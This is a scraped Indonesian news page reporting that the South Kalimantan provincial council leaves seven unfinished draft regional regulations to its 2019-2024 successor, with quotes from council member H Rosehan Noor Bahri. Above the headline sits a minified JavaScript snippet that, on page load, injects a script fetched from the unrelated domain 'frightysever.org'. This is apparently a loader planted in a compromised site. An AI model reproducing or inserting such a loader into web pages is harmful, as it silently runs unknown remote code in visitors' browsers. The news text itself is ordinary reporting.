(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Jelang Lengser DPRD Kalsel Masih Utang 7 Raperda, Minta ‘Dibayarkan’ Dewan Baru


BANJARMASIN, Tak salah jika kinerja dewan terus menjadi sorotan. Buktinya jelang akhir periode yang tinggal menghitung hari, sejumlah perda masih belum disentuh. Tercatat tujuh raperda masih menjadi utang DPRD Kalsel periode 2014-2019. Maka otomatis, utang tersebut harus ‘dibayar’ oleh dewan baru periode 2019-2024.

Tercatat, ada tujuh Raperda belum dibahas dan empat lainnya juga masih belum tuntas menunggu fasilitasi Kementerian Dalam Negeri (Kemendagri). Tujuh Raperda yang belum dibahas tersebut diantaranya Tentang Penyelenggaraan Pariwisata, Pengelolaan Kawasan Kebun Raya Banua, Keamanan Pangan, Pemadam Kebakaran di Kalsel, Perlindungan dan Pemberdayaan Petani, Pengelolaan Kehutanan, dan Raperda Tentang APBD TA 2020.

Ketua BP Perda DPRD Provinsi Kalsel, H Rosehan Noor Bahri, Senin (26/8) mengakui, kecil kemungkinan seluruh Raperda yang belum selesai dibahas ini tuntas dalam sepuluh hari sisa masa kerja efektif dwan. Walhasil, utang Raperda tersebut akan menjadi tanggungjawab estafet para Anggota DPRD dan BP Perda DPRD Provinsi Kalsel periode selanjutnya. “Ini bukan jadi tanggung jawab Dewan perseorangan, tapi menjadi tanggung jawab DPRD sebagai lembaga dan akan dilanjutkan oleh Dewan yang baru,” kata H Rosehan.

Rosehan yang terpilih kembali sebagai anggota dewan di periode ini mengatakan, akan kembali ikut mengawal penyelesaian tugas tersebut. Walau belum tahu posisinya dalam susunan AKD pada Periode 2019-2024 nanti. Namun Rosehan berharap seluruh hutang DPRD Provinsi Kalsel Periode 2014-2019 bisa diselesaikan sebelum berakhirnya Tahun 2019.

Ia juga nyatakan capaian penyelesaian pembahasan atas sepuluh Raperda dan enam diantaranya sudah ditetapkan bukan merupakan catatan buruk. Menurut Mantan Wakil Gubernur Kalsel ini, pihaknya tidak hanya mementingkan jumlah Raperda yang selesai dibahas dan disahkan, namun juga kualitas Perda yang ditelurkan. “Kami tentu memikirkan bagaimana supaya masyarakat bisa betul menikmati manfaat Perda jadi tidak sembarangan mengejar jumlah,” kata H Rosehan.

Selama ini, kendala penyelesaian Raperda selain tak konsistennya waktu fasilitasi oleh Kemendagri, tapi juga disebabkan adanya persinggungan antara Raperda dengan aturan yang lebih tinggi. Sedangkan jika hambatan hanya berupa perbedaan persepsi dan maksud tujuan masing-masing fraksi dinilai bukan menjadi masalah besar karena dapat diselesaikan secara efektif melalui musyawarah.

Konsep pembahasan Perda di DPRD Provinsi Kalsel yang melibatkan Pansus dan tak hanya bebankan tugas kepada BP Perda juga dinilainya cukup mutakhir dan belum dilakukan seluruh Badan Legislatif di seluruh Indonesia.

Selama ini, hal yang paling menghambat rampungnya prolegda adalah registrasi di kementerian. Kementerian selalu berdalih bahwa proses registrasi adalah 15 hari kerja. Namun, terang Rosehan, selama pihaknya melakukan anjangsana ke beberapa DPRD provinsi lain, mereka juga menemukan kendala yang sama.

Sedangkan untuk tingkat kesulitan, ada pada standar waktu pembuatan dan raperda harus mengacu pada aturan yang lebih tinggi, di daerah mana yg sudah melaksanakan, uji publik, hingga kemampuan daerah. “Kalau cuma revisi dan perubahan, cepat tidak ada masalah,” ungkapnya.

Selama tidak halangan, biasanya perda akan rampung dalam dua bulan. Namun biasanya hal lain yang membuat perda tersendat adalah adanya perdebatan di internal, seperti adanya banyak kepentingan partai, rakyat, dan pribadi yang dibahas dalam pembuatan perda tersebut.(mario)

Reporter : Mario
Editor : Chell

Desy Arfianty

Recent Posts

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

40 menit ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

1 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

3 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

22 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

1 hari ago

This website uses cookies.